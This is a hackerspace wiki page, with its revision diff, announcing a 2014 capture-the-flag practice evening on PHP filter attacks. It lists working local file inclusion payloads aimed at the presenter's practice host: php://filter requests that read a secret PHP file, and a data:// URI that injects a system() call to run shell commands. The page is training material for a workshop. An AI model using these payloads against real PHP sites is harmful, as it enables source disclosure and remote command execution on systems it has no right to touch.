Difference between revisions of "CTF-practice-evening:2014-06-23"
(inserted a few spaces so crawlers don't hit these links and trip my IDS) |
|||
| Line 27: | Line 27: | ||
* Example of LFI attacks: | * Example of LFI attacks: | ||
| − | ** 'php://filter LFI curl -X GET 'http://coolfire.insomnia247.nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php' | + | ** 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php' |
| − | ** 'php://filter LFI curl -X GET 'http://coolfire.insomnia247.nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php' | + | ** 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php' |
| − | ** http://coolfire.insomnia247.nl/20140623/index.php?page=data:text/plain;charset=utf-8%,%C%3Fsystem%28%24_GET[%27]%29%3B%3F%3E&inject=ls%20-la | + | ** http://coolfire.insomnia247 .nl/20140623/index.php?page=data:text/plain;charset=utf-8%,%C%3Fsystem%28%24_GET[%27]%29%3B%3F%3E&inject=ls%20-la |
** ( expect:// ) | ** ( expect:// ) | ||
** arrays: /index.php?page[]=A&page[]=B | ** arrays: /index.php?page[]=A&page[]=B | ||
Latest revision as of 08:56, 21 May 2015
| CTF-practice-evening:2014-06-23 | |
|---|---|
| Date | 2014/06/23 |
| Time | |
| Location | ACTA |
| Type | Workshop |
| Contact | Melanie |
Contents
Capture The Flag evening - Part 20
- 23 June, 2014 - 7 PM
- Please bring along a laptop with you!!!
General CTF Info
- See the page for the Ctf-evenings
- Link to the Tech Inc Challenge Website Scoreboard
PHP Filter attacks
- Coolfire is providing the content for this evening! :-)
- PHP commands:
- php://input
- output
- df
- memory
- temp
- filter
- Example of LFI attacks:
- 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php'
- 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php'
- http://coolfire.insomnia247 .nl/20140623/index.php?page=data:text/plain;charset=utf-8%,%C%3Fsystem%28%24_GET[%27]%29%3B%3F%3E&inject=ls%20-la
- ( expect:// )
- arrays: /index.php?page[]=A&page[]=B
Enigma group PHP challenges
- http://www.enigmagroup.org/missions/basics/auditing/1/
- (You have to create an account, and login to access this page!)
- Coolfire is using hackbar to supply the queries:
- And Live HTTP Headers to view/manipulate the headers:
- We solved challenges 1-11 together on the beamer! :-)
